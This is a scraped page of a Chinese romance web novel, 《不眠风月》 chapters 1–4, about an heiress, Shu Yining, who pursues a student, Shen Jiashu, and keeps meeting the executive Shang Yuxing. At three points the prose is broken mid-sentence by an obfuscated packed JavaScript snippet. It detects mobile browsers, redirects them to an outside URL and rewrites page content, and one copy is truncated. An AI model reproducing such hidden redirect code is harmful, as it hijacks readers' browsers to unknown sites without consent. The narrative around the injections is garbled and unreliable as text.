《不眠风月》 1. 第 1 章 暮色如被打翻的墨汁般在天际层层叠叠晕染开来,将最后一缕霞光吞噬殆尽,模糊的天际线渐渐隐没在深邃的夜色中。夜沉似水,华灯初上。永不沉寂的喧嚣与繁华映射在城市上空,浓墨重彩中望不见月亮的踪迹。 会所内灯光靡丽,震耳欲聋的摇滚声激起一阵又一阵的亢奋,男男女女沉浸在无边夜色中不可自拔。拨片扫过琴弦的瞬间,台上的人忽然单膝砸向舞台,将气氛推上了新的高潮。 舒以宁走上台,在嘈杂鼎沸的热闹中看着单膝在地的吉他手兼主唱,红唇吐出两个无声的字眼:“走么?” 主唱肖寂歪头冲她挑了挑眉,手指猛地拨了几下琴弦,挑衅一笑。 这便是拒绝的意思了。 舒以宁并不生气,风情万种地撩了下长卷发,径直从台上下来。 许夏天紧跟上来,跟着她出了会厅,一路走到通往大堂的曲折廊道。 “你不是有新目标了吗?怎么还跑来撩肖寂?是弟弟不够香?” 作为从小学五年级开始就陪舒以宁趴在墙头看初三学长打篮球的好基友,这么多年来,许夏天见证了舒以宁撩遍的半个H市的手段。 根据许夏天的记忆,舒以宁大小姐从无失手,直到遇上肖寂。 同样的,许夏天也知道,肖寂拒绝舒以宁的时候附在她耳边说了一句话:“我会等到你只为我停留的那一天。” 那个时候,她问过舒以宁:“那你会为他停留吗?” 舒以宁只觉得可笑。 开什么玩笑? 世界如此多姿多彩,她舒以宁怎么可能吊死在一棵树上? 但不认同归不认同,她对肖寂这男人还是存了两分心思的。 毕竟人么,对自己想要却得不到的东西总是会报有一种特别的情感。 无论男女,皆不例外。 舒以宁漫不经心道:“唔,弟弟香是香,这不还没追上嘛。” 不过追上弟弟只是时间问题。 她这两年谈了不少弟弟,多难搞的都拿下了,手头这个…… 估计不超过一个月就能栽她手里。 舒以宁浅浅勾唇,美艳不可方物的脸在明如白昼的灯光下愈加夺目。 她对自己有这个信心。 许夏天跟着她:“这就走了?” 舒以宁“嗯”了一声,“走了,要回趟美术馆找灵感。你呢,要是没事儿就和我一起去?” 许夏天是鲜少知道舒以宁在做策展工作的人之一,问道:“又有新项目?西岸的?” 舒以宁微微点了下头:“馆长想做个色彩影像展,以现代大都会的艺术与文化为主题。” 许夏天喊住她:“我刚才在外边遇到邢南了,他说今天商聿行也在。以宁,我们要不要上去打个招呼?” 舒以宁脚步一顿,眼眸微微抬起:“商聿行?” 五分钟后,R&F会所三楼包厢。 许夏天先笑着开口:“行哥,南哥。” “南哥。”舒以宁跟邢南打完招呼后,看向卡座中央的男人:“行哥。” 商聿行略一颔首。 他手中转着岩石杯,袖口露出白皙有质的腕骨,瞧上去颇为赏心悦目。 舒以宁只看了一眼就迅速收回眼。 她虽然总是看起来不着调,但却懂得分寸,分得清什么人可以碰,什么人不能沾。像这位,可不是她能招惹得起的人物。她可没忘记自个儿当年色胆包天,是怎么被他给整治的。 邢南热情招呼她俩坐,让底下人上了软饮,笑道:“以宁,好一阵子没见了,又变漂亮了啊。” 舒以宁喝了口气泡水,落落大方地笑着回道:“南哥这儿可是我的伤心地,要不是夏夏想来看漫展,我都不会路过。” 今年H市国际漫展就在对面的白马湖举办。舒以宁与许夏天一直逛到晚上,在酒店二楼的西班牙餐厅吃了晚饭后,就顺便过来R&F玩玩。 邢南打量许夏天,开玩笑道:“难怪夏夏今天穿得这么可爱,我一开始还以为是哪个未成年砸我场子来了。” 接着他又调侃舒以宁:“伤心地可不至于,我看肖寂啊,迟早是你掌中之物。”说完,他左手随意地搭在沙发上,随口问商聿行:“哎阿行,你说是不?” 商聿行抿了一口威士忌,显然懒得搭理。 又聊了两句,舒以宁起身告辞:“行哥,南哥,我们一会儿还有事,就先走一步了。” 跟商聿行同处一个空间,她总觉得拘谨,不够自在。 “行。”邢南朝她晃了晃酒杯,冰块随之发出细微的清脆碰壁声,“改天一道喝酒。” 舒以宁弯眸:“没问题,南哥叫,我们一定随叫随到。” ** 沈嘉树下午有两节专业课,一点钟上课。十二点三十五分,他抱着《概率论与数理统计》的课本,和三个同寝室的同学走出寝室楼,往B区教学楼走。 绕过学校枝繁叶茂的百年银杏树,旁边就是一排地面停车位。在一众日系美系合资车中,一辆帕派雅橙的帕梅拉停在其间,富有雕塑感的侧面线条流动性十足。 格外显眼,如它的主人一般。 男孩子们一眼就认出了这辆车,沈嘉树也不例外。他想当做没看见,加快脚步埋头往前走。 室友们追上来,其中有人笑得一脸促狭,挤眉弄眼道:“你的漂亮姐姐又来了啊。” 果不其然,一进教室就看见一群男生女生围在中间第二排靠过道的位子周围。概率论是大课,整个专业三个班一起上。时间还早,本该空荡荡的教室却因为她的到来,而显得格外热闹。 同学们见他来了,一阵起哄。 沈嘉树只觉得他们喧闹,冷着一张脸从最南边的过道往后走,走到最后一排找了个座位坐下了。 他把书扔在连着的长桌上,看都不往前头看一眼。 众人瞧出他的不快,玩笑声很快就消停了下来。毕竟,大伙儿都是有素质的大学生,再没有眼色,也能在同伴的无声提醒下明白适可而止的道理。 舒以宁让奶茶店送了两百杯杨枝甘露过来,人手一杯还有得富余。她自第二排施施然起身,拿了杯未开封的奶茶,慢悠悠朝后头走来。 将杨枝甘露放在他面前的课本上,“我来陪你上课。” 沈嘉树敛着清冷的眸子。 他看见未开封的奶茶黄红相间,果肉隔着塑料杯壁起伏飘荡。 “你怎么又来了。”他的声音很轻很淡,乍一听上去更像是自言自语。 舒以宁靠在后排桌子上,回答得很直白,笑眯眯道:“我想你了啊。” 沈嘉树半侧过头,冷冷抬眸,目光坚定地看着她:“我跟你说过,大学里我不会考虑谈恋爱。更不会,考虑跟你。” 沈嘉树面无表情地掏出耳机塞上,隔绝外界纷扰。 过了一会儿,舒以宁在拥趸殷勤的指引下,不急不缓地从长座位的另一端绕到他身侧,款款落座。 沈嘉树闭目小憩,只当不知道。 打铃前十分钟,这堂课的老师到了。他与沈嘉树算是熟识,在讲台上连电脑的时候从学生那里八卦到了这事,因此做完课前准备就专程走到后面来开他玩笑:“嘉树,听说今天你女朋友在?不得了啊,铁树开花了。” 他礼貌看向舒以宁,笑着打招呼:“你好啊。” 前排女生转过来笑着介绍:“舒姐姐,这是我们陈老师。” 舒以宁不自觉坐端正了些,微笑道:“陈老师好。” 她话音刚落,就见沈嘉树摘了耳机,唇角微勾:“比不过你,单身快三十年了还没开花。” 都是年轻人,陈老师被怼了也不生气,笑眯眯说:“我要是能遇到这么好看的小姐姐,别说开花了,我孔雀开屏都不成问题。” 周围一群学生顿时哄堂大笑。 很快就上课了。 这位陈老师的PPT也和其他老师不大一样,不是千篇一律、一份用上好几年的纯素材,而是隔几页就能见到一些时下流行的热梗和搞笑表情包。舒以宁觉着有趣,就朝身侧另一边的沈嘉树室友问了下这位陈老师的事。 “陈老师很优秀,好像是三年前就入职我们学校了,一来学院就给了副教授待遇。他和嘉树是一个地方出来的,小初高都是师兄弟,好像……嘉树的妈妈还曾经做过陈老师的班主任来着。” “我们学校内网论坛里,还有不少女生嗑他俩CP,嘉树时攻时受,也不算吃亏哈哈哈哈……” 沈嘉树:“别把你下巴笑脱臼了。” 舒以宁左手托腮,转回头笑吟吟欣赏他少年气息十足的脸,“你是受也不要紧,可以我做Alpha,你做Omega。” 前排几个女生噗一下笑出了声。 男大学生们在这方面的知识面没有那么广,兴致勃勃地问女生们这都是什么。一个女孩转过来简单解释了一下,肉眼可见的,舒以宁看见沈嘉树的表情僵硬了一下。 显然,大受震惊。 她觉得他这副前后割裂的模样十分可爱,不由弯了弯唇角。 下了课,血气方刚的男生们要去风雨篮球场打球。沈嘉树把课本扔给室友,与班里另外俩男生勾肩搭背走出阶梯教室。 舒以宁跟去了风雨篮球场,一起的还有隔壁班一男生的女朋友,也和他们一块儿打球。 女孩问她:“我听我男朋友说,他们寝室私底下猜你只是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16128771|180182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想玩玩沈嘉树。舒姐姐,你不是这样的人吧?” 舒以宁看着篮球场上穿着球服背心的男生,说:“我不是什么好人,我只能说,至少我现在追他的时候我是真心的。” 她对于每一段感情都是认真的,这不算假话。 “你们差距太大了,他只是三线小城市公务员教师家庭,你家里会同意么?”女孩歪头看着她,不大相信的样子。 舒以宁笑了笑,反问:“你们还这么年轻,就遇到家庭问题了?” 她既然会这么问,就说明她自己可能遇上了同样的问题,所以急需寻求过来人的建议。 女孩闻言,缄默了下来。过了一会儿,她轻声道:“我男朋友……家里条件不太好,我爸妈不会同意的。” “我在你这个年纪,从来没有想过结婚。” “那现在呢?” 球场内,沈嘉树一个跳跃投中了三分球,动作利落得漂亮极了。 舒以宁翘起唇角,收回目光看向眼前画精致妆容却明显稚气未脱的女孩,轻飘飘道:“姐姐是不婚主义者。” ** “咖啡还是茶?”陈洲扬了扬手中的罐子,“我这茶可是我们院长从老家专程带来的信阳毛尖,自家人种的,回甘悠长。要不,尝尝看?” “可以。”商聿行微微颔首。 他与陈洲是大学同学,也就不讲旁的虚礼。 陈洲一边给这位大少爷泡茶,一边道:“知道你喝过的好东西多,怕是比不上你那些,别抱太大的期待。” 茶很快泡好了。 玻璃杯上方水汽袅袅,茶汤嫩绿明亮,香气清雅。 陈洲搬了把椅子坐过来,眯着眼喝了口茶杯里早已泡好的信阳毛尖,随口说起八卦:“刚才我上课啊,遇着一漂亮姑娘追人追到我课上来了。这倒让我想起我们读书那会儿,来蹭课跟你套近乎的女孩子可不少啊,唉。” 茶太烫还喝不上。 商聿行夸了两句香气怡人,然后缓缓道:“可见你那套歪理被推翻了。” 以前,陈洲总说他自个儿找不到对象是因为鲜少有女孩愿意了解学数学的男人。 “不是我们数院的,是计算机系的学生。”陈洲严谨指出:“我只是给他们系上概率论的课,还有门线性代数也是我们院出人。” 说完,他感慨道:“这学生恰好是我初中数学老师的儿子,长得确实不错,跟你一样,人模狗样的。那追他的姑娘也特别漂亮,皮肤很白……哎我跟你说,长得可贼好看了!要是路上看见,我说不定都能壮壮胆子上去要个微信。我听其他学生叫她shu姐姐,不知道是哪个shu,会不会是书籍的书?哇靠,自带氛围感啊,书姐姐!” 不知怎地,商聿行听他提到“书”字,心头莫名浮现出另一个字眼来。他不着痕迹地抿了下唇角,心内冷笑。 别说。 要真是舒以宁,他可谓是相当不意外。 跑到学校里来追二十岁的男大学生,确实是她舒大小姐能干出来的事。 商聿行只走神了一会儿,就强迫自己回过神。 ——他并不允许自己将过多的注意力集中在舒以宁身上。至少,现在是这样。 商聿行坐到三点钟,起身扣上西服纽扣告辞。他三点半有个会,工作缠身,来陈洲这里聊几句放松一下已属难得。 陈洲送他出去,一边走一边说道:“伯母问过我好多次,老问我你在斯坦福是不是受过情伤。前两天又问了一次,我说没有非不信。”陈洲与商聿行同年,商聿行六月生的,这两天刚满二十九岁。 “那你下次就和她说,我不喜欢女人。”商聿行淡淡道。 陈洲:“……我怕伯母以为你跟我有一腿。” 商聿行也就在他面前暂时扯下不苟言笑的外表,半开玩笑道:“放心,我的父亲母亲都足够开明,能接受你做他们儿媳妇。” “不行!我才是1,你才儿媳妇!”陈洲据理力争。做1做0在直男的世界里可是绝对不能妥协的,就算只是嘴上说过即忘的一句话,也永不为零! 商聿行没让司机把车开过来,时间充裕,他也想在校园里稍微走一走。陈洲陪他走去C区的停车场,旁边恰好就是学校最大的风雨篮球场。 陈洲眼尖,一下子就看见了席地坐在草坪边看球的舒以宁,赶忙拍了拍商聿行指给他看:“快看快看!那就是我跟你说的‘书姐姐’——” 商聿行漫不经心往他指的方向望去。 下一秒,他眸光微顿,直直望着篮球场的方向。 陈洲见他刹那间的神色变化不似往常淡定,不由得意道:“漂亮吧?我就不信这颜值这身材,你都能昧着良心说不够漂亮!” 2. 第 2 章 “沈嘉树,二十岁,科大计算机系大二学生。GPA暂列全系第四,有ICPC经历,目前最好成绩为去年下半年的区域赛西安站银牌。根据同班同学透露,舒小姐是在两周前对他一见钟情,追了有一段时间了。沈嘉树明确表示不想在本科阶段谈恋爱,多次拒绝舒小姐,但舒小姐始终没有放弃。”助理将调查报告双手递上:“这是他的个人资料。” 商聿行靠在椅背上岿然不动,波澜不惊地开口:“放下吧,出去。” 他的语气缓慢寡淡,双眸漆黑如潭,眼底看不清情绪。 “好的,总裁。”助理放下文件,知趣地退了出去。 落地窗外下起了雨,淅淅沥沥,密得紧。商聿行指间转着一支黑色钢笔,脸微微往外侧,避开办公桌上的那一份文件。 他今天穿了一件浅灰色棉质法兰绒衬衫,中间搭配同色系的西装马甲,外面则是一年四季鲜有变化的高定西服外套。 从中学时代开始,他就一直保持健身的习惯,常年练器械。 个人爱好方面,马术,击剑,网球,都拿得出手。 篮球也曾经打过,但自从开始工作,就再也没有什么机会可以像年轻的大学生那样肆无忌惮在篮球场上挥洒汗水了。 她那么骄矜,那么大小姐脾气的一个人。 竟然会席地坐在草坪边上的石墩上看人打篮球,一点不怕弄脏裙子。 这是他不曾料到的。 商聿行对于舒以宁以往那些恋爱对象略有耳闻,邢南偶尔会在他面前提一嘴,当作酒后的消遣话。她向来都是如此,圈子里都知道她换男朋友换得勤快,每一段都足够得随心所欲。 好似视感情为儿戏。 而他,恰好有幸见识过她的儿戏。 有些人可能天生就比其他人长得缺了一心一窍,移情别恋起来,不过须臾的时间。 她这种游戏人间的富二代,一抓一大把,追求暂时的刺激,很容易退却一身激情。 商聿行转回头,将目光投向办公桌上的那个装着她新欢资料的黑色文件夹。 只是不知道,她这一次追到人以后,又能维持多久? ** 六月的H市已经进入了炎热夏日,别墅区枝繁叶茂的绿荫树被修剪得整整齐齐,灌木丛茂盛得处处透着生机。 舒以宁一脚油门直接开进车库,管家为她拉开车门,贴心询问日常琐事。 她笑着回道:“张叔,每次回来都要听你喋喋不休念个不停。阿姨不是三天两头去给我收拾屋子么,你就放一百个心。” 自从两年前她和舒跃章大吵一架后,就从家里搬了出去。近一年,他们父女俩的关系有所缓和,定下了没有特殊情况下,每周至少要回来吃一次饭的共识。 以往她父亲的那位小娇妻总会在车库或者大门口迎接她,今天倒是例外。 今天是周日,舒跃章恰好没有应酬安排,正在二楼书房练字。 舒以宁敲了敲门,不等里头的人开口,便推门进去。 舒跃章握着毛笔站在宽大的乌纹木书桌前,不急不缓地勾出一个“高”字。他喜欢临摹篆隶融合的作品,追求秦韵汉姿。 旁边站着楚桑桑为他研墨。 楚桑桑穿着一件香云纱花萝旗袍,立体收腰,玲珑身段错落有致。 舒跃章听见声音,没抬头,一边练字一边轻斥了句:“没规矩。” 舒以宁徐徐走近,漫声道:“要不是怕您不给我这个月的消费签单,我才不回来碍您眼。” 闻言,舒跃章冷哼一声,继续练字。 舒以宁于是自顾自拉开椅子坐了下来,开始掏出手机来玩。 楚桑桑走过来笑着问:“以宁,我最近在学调鸡尾酒,你愿意帮我试一试我的特调吗?” 舒以宁淡漠拒绝:“不愿意。” 她刚说完,舒跃章就搁下毛笔,蹙眉瞪她:“桑桑说要下楼等你,我拦着不让。趟趟回来摆架子,像什么样子?” 楚桑桑走回去给他递擦手的毛巾,笑容不改,安抚道:“刚刚还和我说要提前拍块粉钻给以宁当圣诞礼物呢,孩子一回来又要凶,你看你这别扭的劲。” “她这臭脾气要是有你一半好,就省得我操心了。”舒跃章擦着手睨了一眼椅子上自顾自玩手机的舒以宁,“让你来公司历练,跑得比谁都快。嫁人也不肯嫁,成天游戏人生,我……” 楚桑桑赶紧打断他的话,笑着说道:“都什么时代了,以宁常伴你身边还不好了?” 说到这方面舒跃章就生气,“也没见陪伴我多少,三天两头不着家。” 晚餐菜色丰盛,大都以舒以宁的喜好为主烹饪。 舒跃章聊起:“下个月你白伯伯六十大寿,我要飞西雅图谈合作,你代表我们家去罢。贺礼已经准备好了,届时小宋会陪你去。” 舒以宁对此并不拒绝,作为小辈,她本就理应上门贺寿。这点规矩她还是懂得的,不至于出错。 但舒以宁还是假装不情不愿地提要求:“那我要多刷一条高定,这个月我很节省的,只买了两件成衣。” 舒跃章没什么语气地回道:“不用你省,舒家的钱反正都是你的,早晚被你败光了。” 舒以宁百无聊赖地用手指轻点着桌面,淡淡道:“不见得吧。” 此言一出,空气顿时都安静了不少。 舒跃章掀起眼皮。 他今天的穿着很容易令人误会他是个好脾气的人。立领偏襟条纹肌理的黑色中山装,低调而不失奢华。 这套中山装是舒以宁挑的,出自纯手工定制的上海弄堂老裁缝之手。 楚桑桑站起来盛了碗汤,放到舒跃章面前,不着痕迹地开口转移话题:“那你就别气你爸爸了,气坏了身子,哪还有人挣钱给咱俩败。” 她这话说得恰到好处,既得体,又不失幽默。 在楚桑桑的调和下,舒跃章与舒以宁心照不宣地略过了这个小插曲。 吃完晚饭,舒以宁陪舒跃章在别墅区配备的高尔夫球场内打了几杆。按照惯例,她今晚睡在翠湖,等明天吃完午饭再走。 舒跃章睡得早,舒以宁回来后又出去游了个泳,回到房间刚做完护肤的基础步骤,门就被敲响了。 楚桑桑站在门口,手中端着一杯温牛奶,温温柔柔地笑道:“以宁,我们可以谈一谈吗?” “不方便。”舒以宁懒得跟她废话,刚要关门,就被她喊住了。 “以宁。”楚桑桑依旧是一派温婉的模样,看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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不知道后天商聿行会不会去。 距离上回见到他,恰好过了一周的时间。 每回有他在的场合,她总归要收敛着,难以玩得尽兴,但—— 私心里,她还是希望可以看见他的。 那样神祗般的人物,远远看上两眼,就能令她心旷神怡。 只可惜终究不是她可以染指的,而她在他面前更是大气都不敢喘。 算了,还是希望他那天有事,不过来一道玩。或者,他这样的忙人,到一下就走,倒是相当不错……这样的话,又能满足她看到他那副诱人皮囊的愿望,又不会影响她撒开了玩儿…… 舒以宁摇摇头,驱赶掉脑海中里那些不着边际的幻想。 手机振动了一下,许夏天发消息来问:[邢南生日趴体喊你了吗?] 舒以宁回了条语音:“喊了,一起去?我来选家妆造,你想自己化妆还是和我一起?” 资深i人许夏天是不可能发语音的,继续打字道:[他让我带上男朋友,我哪来的男朋友TAT] 舒以宁懒得打字,语音道:“那你要不把你哥带上?你哥最近进组没?” 许夏天:[我怕被人误会他是被邢南包的TAT。] 3. 第 3 章 科大进入了期末周,各种考查类的课都上完了最后一节,只剩下最后一周的考试。 图书馆人满为患,座位预约系统一到开放点就进入网络拥挤状态。 沈嘉树写了个脚本帮全寝室抢座位,没两天就被封了。 “啊啊啊啊,竟然把我账号封了999年,科大,我跟你势不两立!”室友的哀嚎声响彻整间寝室。 另一室友查看了一下,幸灾乐祸道:“还好我只被封了23年。” 原先哀嚎那人换上一副笑眯眯的表情:“嗯,等你退学,43岁重新考上科大,就又能回来抢座位了。” 寝室里剩下三人也都荣获50年到999年的账号封禁期。 有人好奇:“哎,树哥,你被封几年?” 沈嘉树正将课本与笔记整理好放进书包里,慢条斯理道:“1001年。” “哈哈哈,你跟小富加起来正好凑个整啊,哈哈哈……” 1024,计算机中的整数。 沈嘉树背起书包,路过时笑着用手肘撞了下说话的男生:“那一起等到1001年以后。” “千年的承诺你还是留给舒姐姐吧!哎,图书馆不是把我们拉进黑名单了吗?你哪儿去?” 沈嘉树挥挥手往外走,“找间空教室。” 众所周知,在男生寝室中是很难安静复习的。 一上午的时间很快就过去了,沈嘉树将一道连续型随机变量函数的例题拍照下来,计划攒一攒后发邮件请教任课老师。 小富发了微信消息来喊他爸爸,求他帮忙带饭。 沈嘉树没有收拾东西,打算下午依旧来这儿复习。这间教室是小组讨论的圆桌构造,一个教室六张桌子,除了他以外,就只有另一个角落里有个女孩子也在这复习。 两人互不打扰,他很满意这间空教室。 沈嘉树回了让他帮忙带饭的消息,起身走出教室。 一出教室前门,就遇上迎面走来的舒以宁。 她换了个发型,柔顺的长卷发半扎了起来,鬓边几缕黑发随意飘散,杂乱而美好。额头光洁,全身充满了一种生机勃勃的活力。 “看来我来的正是时候。”舒以宁撞见他出来,渐渐停下脚步,弯唇邀请:“可以蹭你的饭卡吗?” 沈嘉树别开眼,透过窗户望向外头炽烈的日光,语气十分冷淡:“你怎么知道我在这里?” 舒以宁摇了摇手机,轻描淡写:“在你们学校表白墙上问了。” 出了教学楼,夏日灼热的阳光一束束打下来。 舒以宁撑起伞,手举得高高的,生怕罩不住他。她今天穿的运动鞋,一米六八的个子绝对不能算矮,但在高了她整整二十厘米的男生身边,一下子显得娇小可人。 沈嘉树偏头往外躲了下,皱眉道:“你自己撑,不用管我。” 舒以宁却非常坚持,撑伞的手举得高高的,甜甜地笑着说:“我喜欢给你撑伞。” 又走了一段路,沈嘉树克制住伸手握住伞柄的冲动,停下了脚步。 舒以宁也跟着停下来,不明所以:“怎么了吗?” 他转过头,垂眸看向她。 一寸阴影中,她眉眼弯弯,瓷白的脸微微仰着,浓密卷翘的眼睫毛下双眸乌黑明净。 “舒以宁,我不喜欢你。以后也不可能会喜欢你。”他再度重申。 她眼里的笑容渐渐淡了,纤长卷翘的眼睫毛投下两扇阴影,像蹁跹飞舞的蝴蝶。 沈嘉树莫名有些烦躁,回过身,大步走出了她的遮阳伞。 身后的人没一会儿就举着伞追了上来。 须臾之间就恢复了勃勃朝气:“不要说这么绝对的话,说不定你明天就喜欢上我了呢?” 沈嘉树高冷着一张脸,懒得搭理她。 舒以宁在最开始追人时,总是出奇地有耐心。 这次也不例外。 沈嘉树不理她,但她还是紧跟着他问:“那你喜欢什么类型的女孩儿呢?好歹给我指明一个努力方向呀。” 她这样肤白貌美的大美人走在路上,很难不惹人注目。 几个擦肩路过的男生笑着打趣: “他不喜欢,我喜欢啊。” “学妹,要不换个人追吧,我给你介绍我们系系草?” “微信加一个?” 舒以宁回过头冲他们一笑:“多谢好意,但我的身心只属于他一个人。” 沈嘉树闭了闭眼,忍了。 绕路去的留学生食堂,算是科大最有名气的食堂了,考试周不对外开放,只供应校内。正是饭点,食堂里人满为患。舒以宁还是头一次吃科大留食,跟在沈嘉树后面理直气壮提要求:“我想吃麻辣香锅,但我不太吃能辣。” 沈嘉树一声不响地带着她排上了麻辣香锅窗口的长队。 队伍里有认得她的男生女生,笑着跟她打招呼。 “舒姐姐又来找沈嘉树了呀?” 舒以宁半真半假地埋怨道:“是呀,你们有空帮我多劝劝他,我这样的大美人竟然迟迟入不了他的眼。” “没问题,毕竟我们都吃过舒姐姐好几次奶茶和小蛋糕了!” 其中一男生当即勾搭上沈嘉树的肩膀,笑着揶揄:“识相点啊,敢辜负咱舒姐姐,你小子就死定了。” 沈嘉树事不关己地任他折腾,岿然不动站在原地,直到队伍往前挪了一点。 队伍虽然长,但行进得很快。轮到他们,沈嘉树终于说了走进食堂后的第一句话:“你先点。” 十分钟后,一人一锅一米饭。 隔壁桌坐了一对也吃麻辣香锅的小情侣,两人一锅两米饭。 舒以宁提出疑问:“麻辣香锅不是应该一起吃?” 沈嘉树夹了片香肠放进碗里,神色寡淡:“我有钱,你想吃几锅都行。” 舒以宁鼓了鼓腮帮子。 行吧,就当做男人愿意为她花钱的隐晦告白了。 吃完午饭,沈嘉树给室友打包了份烤肉饭,托同寝室楼的一男生帮忙带回去。又在食堂一楼刷饭卡,买了两杯现打的西瓜汁。 他拿着其中一杯转身就往外走了,舒以宁伸手拿起果汁吧台上剩下那杯,小跑着跟上他。 下午与上午没有什么两样,不过是换了个科目复习。 舒以宁就这么坐着,托腮看他写题。 沈嘉树不堪其扰,啪一声将笔拍到桌子上。他闭上眼,左手揉了揉清高的眉棱骨,忍无可忍:“我有考试,这段时间你能不能放过我?” 舒以宁故意用上委屈的语气,“可是,等你考完不就放假回家了?我去你家乡找你玩,你会出来吗?” 沈嘉树沉默了一会儿,最终还是选择告诉她:“我申请了暑期留校,假期会留在H市实习。” 舒以宁听见这话,没有表态。她起身走到他身侧,弯下身子,在他耳边轻轻笑道:“我特别喜欢看你面对我的时候,无能狂怒的样子,好像啊……被我欺负得都不知道能怎么办好了。” 沈嘉树五指蜷起。 下一瞬,耳侧的温热就移开了。 舒以宁离开前欢快的声音散在了空调风里:“那考试后再见了,弟弟。” ** 舒以宁坐进车里,戴上墨镜发动引擎。 手机自动连上了蓝牙,她发出指令让siri打给许夏天。 “出来逛街。” 许夏天明显还没起床,声音朦朦胧胧的:“你不是去科大了?” 舒以宁踩下油门开出地下车库,“没戏,他好像对古灵精怪型的不感兴趣。” 许夏天一下子就精神了,给她出谋划策:“那他会不会喜欢清纯小白花?这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16128773|180182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 形象你搞起来有点困难吧?” 又聊了几句,挂断通话前舒以宁催她起床,“我回去换身衣服,一会儿太古汇见。” 为了配合元气少女风的穿搭风格,舒以宁今天没开最常开的那辆帕梅拉,而是在车库里选了辆许夏天送的MINI——虽然车子一般,但胜在可爱。 她最近几年都住在国贸对面的浅水湾鼎苑,面积不大,但地段绝佳。一个人住起来,既安全又便利。偶尔许夏天也会一时兴起,过来陪她住上一段日子,不过更多时候她已经习惯了独居。 开了没几分钟车,她父亲的助理宋正阳打电话过来。 舒以宁连着蓝牙,直接按了方向盘上的接听键。 宋正阳开门见山:“以宁,方便见个面吗?我有事想和你聊一下。” “好啊,明天上午我请你喝咖啡。不过,有什么话电话里不能聊吗?吊我胃口。”舒以宁不满地埋怨着,开玩笑道:“你是不是就是为了蹭我一杯咖啡?” 宋正阳的笑声很干净,他说:“被你发现了。” “那你先透露一下,关于哪个方面的事情?”舒以宁知道宋正阳不会无缘无故找她,既然要面谈,那估计是件比较郑重的事情。 宋正阳收了笑,问起:“以宁,你还是不肯原谅楚桑桑吗?我本来找她告诉你这个事,她说……你不肯和她交流。” 舒以宁听他提起楚桑桑,顿时也收了笑容,冷淡道:“你倒是挺关心她。” “好了,言归正传。”宋正阳正了正神色,没卖关子了,直接在电话里说:“以宁,我发现你父亲流水里有几笔异常。此外,前段时间你父亲挂牌成交了一套三亚的别墅,出手很急,远低于市场价。” 舒以宁并不意外,淡淡道:“算年纪,他那私生子要高中毕业了吧?” 宋正阳叮嘱她:“你先别找你父亲去闹,千万沉住气。楚桑桑会帮我们留意的,你暂且再相信她一下。眼下最好静观其变,你先沉住气。放心,老爷子当初在家产继承上做了足够多的约束条款,你父亲要是想转移财产,没那么容易的。” 宋正阳明面上是舒以宁父亲从底层一手提拔培养出来的副手,实际上,是她祖父,也就是她母亲的父亲舒老爷子,早早就在公司里埋好的人。所以,一有风吹草动,他就会以舒以宁的利益为先。 舒以宁回:“知道了。” 宋正阳接着劝道:“近期你要是愿意,就多回家看看。你多在你父亲面前晃一晃,想必他也不忍心做出什么对不住你的事情来。” 通话结束后,舒以宁漫无目的地开了会儿车,等到了不熟悉的路口才勉强回过神来。 舒跃章有私生子的事情她一直都知道。 或许对于有些男人来说,要生个儿子的念头刻入了基因里,生生不息。 加之她父亲又是入赘的舒家,虽说姓氏相同,但对于他来说,可能终究不一样。 其实男人都一个样,她过世的祖父舒老爷子又何尝不是。 舒以宁深吸一口气,从情绪沼泽里抽身出来,掉了个头往回开。 滨江大道上豪车众多,等红绿灯的时候,舒以宁注意到前面是辆黑色古斯特。漆面熠熠生辉,抛光镀铬饰件的外观细节与锐利的车身折线堪称视觉盛宴;而5个7连号的车牌,更是很酷很嚣张。 古斯特不罕见,但这辆是至臻典藏版。 H市的车牌号……会是谁的座驾呢? ——舒以宁很快就知道了这个问题的答案。 红灯跳绿,她一脚油门踩下去,马上又踩了刹车,但不可避免地跟前车来了个亲密的接触。 舒以宁:“……” 真不是故意的,纯属意外。 而当她下车上前道歉时,车窗半降,露出男人立体英朗的脸。 舒以宁一愣,乖乖喊道:“行哥。” 4. 第 4 章 完蛋,今天出门没看黄历。 舒以宁赶紧道歉:“行哥对不起,是我全责,抱歉耽误您时间了。” 男人颀长的脖颈微微扬起,喉结凸现的弧度十足性感,掀眼皮看她:“不用。” 他的瞳孔漆黑深邃,嗓音更是如同淬了冰一般,令人望而生畏。 舒以宁感觉后背沁出一层细汗,连身上的阳光都突然变得灼热难耐起来。她只好一味地说些事故处理的话:“维修方面我会负责到底的,就不走保险流程耽误您的时间了,维修费我全额支付……” “不用。”男人轻启薄唇,再次吐出这两个字。 他已经收回目光,只留给她一个侧脸。 在刀刻般的锋利线条下,更显孤傲禁欲。 舒以宁敛眸,默默闭上了嘴巴。连呼吸都放缓了不少,尽量在他面前降低存在感。 副驾驶座的助理早已下了车,与从后边走上来的黑衣保镖不知说了些什么。黑衣保镖环顾周围,确定没有其他安全隐患后对着舒以宁身后比了个手势。 